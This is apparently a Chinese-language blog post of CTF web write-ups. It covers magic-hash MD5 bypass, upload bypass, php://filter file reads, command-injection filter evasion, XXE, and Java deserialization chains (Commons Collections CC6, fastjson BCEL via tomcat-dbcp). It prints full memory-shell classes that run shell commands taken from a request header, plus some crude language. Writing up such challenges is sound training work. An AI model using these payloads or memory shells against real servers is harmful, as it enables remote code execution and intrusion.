获取中...

-

Just a minute...

扫扫看

不用扫,猜测是flag.php

image-20240610123154816

flag{094c9cc14068a7d18ccd0dd3606e532f}

debudao

flag在cookie里:

image-20240610124209641

flag{72077a55w312584wb1aaa88888cd41af}

审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

if (isset($_GET['xxs'])) {
$input = $_GET['xxs'];

if (is_array($input)) {
die("错误:输入类型不允许为数组。");
}
if (!preg_match("/^0e[0-9]+$/", md5($input))) {
die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
}
if (!is_numeric($input)) {
die("错误:输入必须是数字。");
}

die("恭喜:".$flag);
} else {
die("错误:必须设置正确参数。");
}
?>

根据题意,我们需要输入纯数字进去,然后md5加密后是0e+数字的组合。

240610708的md5加密后是0e462097431906509019562988736854

所以输入xss=240610708即可

flag{1bc29b36f623ba82aaf6724fd3b16718}

upload1

image-20240610124841926

是前端检测,抓包传

image-20240610124951222

进入123.php post传参:123=system(“cat /flag.txt”);

flag{adbf5a778175ee757c34d0eba4e932bc}

Dragon

还是在cookie里,什么了色题?

image-20240610125659356

flag{72077a551386b19fb1aea77814cd41af}

tnl

真傻逼,这题目输入3会报sql的错,但是这道题跟sql一点关系也没有,看wp才知道是普通的伪协议读文件他妈的真的

image-20240610131343532

我说我怎么输,都会报twothree’的错草

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
@$file = $_POST['twothree'];

if(isset($file))
{
if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";
}
}

真傻逼

1
twothree=php://filter/convert.base64-encode/index/resource=flag

flag{29dba9019e40d75a5053b15f4f2906e1}

你知道sys还能这样玩吗

好家伙,开局403怼脸,来者不善,啥都没给,先猜,结果在sys.php有东西

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
show_source(__FILE__);

if(isset($_POST['cmd'])){
echo "<pre>";
$cmd = $_POST['cmd'];
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {
$output = system($cmd);
echo $output;
}
echo "</pre>";
}
?>

就过滤了普通一些特定组合命令,这里因为直接执行系统命令,可以用bash的做法做,我这里使用变量拼接:

1
2
ls /
cmd=a=l;b=s;$a$b /;

看到根目录有flag.txt,但是这里把* ? .都过滤了,但是中括号还没有,可以用中括号的通配符:

1
2
cat /flag[^a]txt
cmd=a=ca;b=t;c=fla;d=g[^a]txt;$a$b /$c$d;

flag{196b0f14eba66e10fba74dbf9e99c22f}

法二:

利用php -r 执行php代码,编码绕过

1
cmd=php -r 'system(hex2bin("636174202f666c61672e747874"));'

不用双引号的版本:

1
cmd=php -r 'system(hex2bin(ff3b636174202f666c61672e747874));'

img

image-20240610141001972

法三:

printf和双引号绕过base64加密

1
cmd=`printf "Y2F0IC9mbGFnLnR4dA=="|bas""e64 -d`

法四:

八进制转化

1
cmd=$%27\143\141\164%27%3c$%27\57\146\154\141\147\56\164\170\164%27

ExX

扫后台扫到了dom.php

报错有 DOMDocument::loadXML()

结合题目名字,猜测是xxe实体注入

直接上payload

1
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php"> ]> <xml><name>&xxe;</name></xml>

image-20240610141823959

PD9waHANCi8vZmxhZ3s3ZTk3ZThjNGY5ZDZiZTM1YWU4NTAwYjlmYjJjZGQzZX0NCg==

flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e}

然后困难部分就全是java了=-=

CC链

cc6链,不出网打内存马,内存马下面给了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class main {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}

public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}

public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz1 = pool.get(SpringEcho.class.getName());
setFieldValue(obj, "_bytecodes", new byte[][]{clazz1.toBytecode()});
setFieldValue(obj, "_name", "Infernity");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
HashMap expMap = new HashMap();
expMap.put(tme, "key");
outerMap.remove(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
byte[] obs = serialize(expMap);
System.out.println(new String(Base64.getEncoder().encode(obs)));
deserialize(obs);
}
}

ezJson

fastjson-1.2.83原生反序列化。ysoserial有现成的exp。

只需要准备好回显内存马就行

image-20241203165944345

具体怎么构造的链子,可以看https://www.bilibili.com/video/BV1Ds421g7pw/?vd_source=cd1ee3d9c8c623012da5b159695424ee&p=11&spm_id_from=333.788.videopod.sections

shell.class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.Memshell.fastjson1_nei_chun_ma;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class shell extends AbstractTranslet {
public shell() {
try {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String[] cmd = new String[]{"sh", "-c", httprequest.getHeader("Infernity")}; //请求头加一个Infernity后面加命令
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
httpresponse.getWriter().write(new String(result));
httpresponse.getWriter().flush();
httpresponse.getWriter().close();
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws
TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {
}
}

image-20241203170049279

FastJsonBCEL

https://cloud.tencent.com/developer/article/2335078

/parse路由下存在FastJson解析可能存在反序列化漏洞。

查看pom.xml

image-20241203193250917

注意到存在tomcat-dbcp依赖和fastjson依赖,且版本分别为9.0.81.2.24。所以可以使用FastJson借助tomcat-dbcp实现BCEL字节码加载的方式。

1
2
3
4
5
6
7
8
9
10
11
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.Utils.Util;

public class test {
public static void main(String[] args) throws Exception{
byte[] bytes = Util.file2ByteArray("C:\\Users\\13664\\Documents\\JavaUtils\\target\\classes\\com\\Memshell\\fastjsonBCEL\\shell.class");
String code = Utility.encode(bytes,true);
String s = "{{\"x\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\":{ \"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"$$BCEL$$"+code+"\"}}:\"x\"}";
System.out.println(s);
}
}

shell.class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import java.lang.reflect.Method;
import java.util.Scanner;

public class shell {
static {
try {
Class v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method v1 = v0.getMethod("getRequestAttributes");
Object v2 = v1.invoke(null);
v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
v1 = v0.getMethod("getResponse");
Method v3 = v0.getMethod("getRequest");
Object v4 = v1.invoke(v2);
Object v5 = v3.invoke(v2);
Method v6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method v7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
v7.setAccessible(true);
v6.setAccessible(true);
Object v8 = v6.invoke(v4);
String v9 = (String) v7.invoke(v5,"Infernity"); //请求头传参
String[] v10 = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")){
v10[0] = "cmd";
v10[1] = "/c";
}else {
v10[0] = "/bin/sh";
v10[1] = "-c";
}
v10[2] = v9;
v8.getClass().getDeclaredMethod("println",String.class).invoke(v8,(new Scanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter("\\A").next());
v8.getClass().getDeclaredMethod("flush").invoke(v8);
v8.getClass().getDeclaredMethod("clone").invoke(v8);
} catch (Exception var11) {
var11.getStackTrace();
}
}
}

image-20241203193423697

相关文章
评论
分享
  • SUCTF 2025 WEB部分wp

    SU_photogallery 尝试源码泄露 https://www.cnblogs.com/Kawakaze777/p/17799235.html![e0dcf5e1-a150-4c37-bd6e-bf45ea40a99b](img...

    SUCTF 2025 WEB部分wp
  • 2024鹏城杯web全wp

    python口算-pcb2024123456789101112131415161718192021222324import requestsimport reurl = "http://192.168.18.28"...

    2024鹏城杯web全wp
  • 强网杯2024

    PyBlockly黑名单过滤了所有符号,只能在print里用字母和数字, 1234if check_for_blacklisted_symbols(block['fields']['TEXT']...

    强网杯2024
  • SCTF2024 ezRender

    ezRender这道题主要是成为admin,要成为admin就要伪造cookie,要伪造cookie就要获取jwt密钥。 jwt密钥生成逻辑: 123456789101112131415161718192021import timec...

    SCTF2024 ezRender
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024春季个人挑战赛全wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛全wp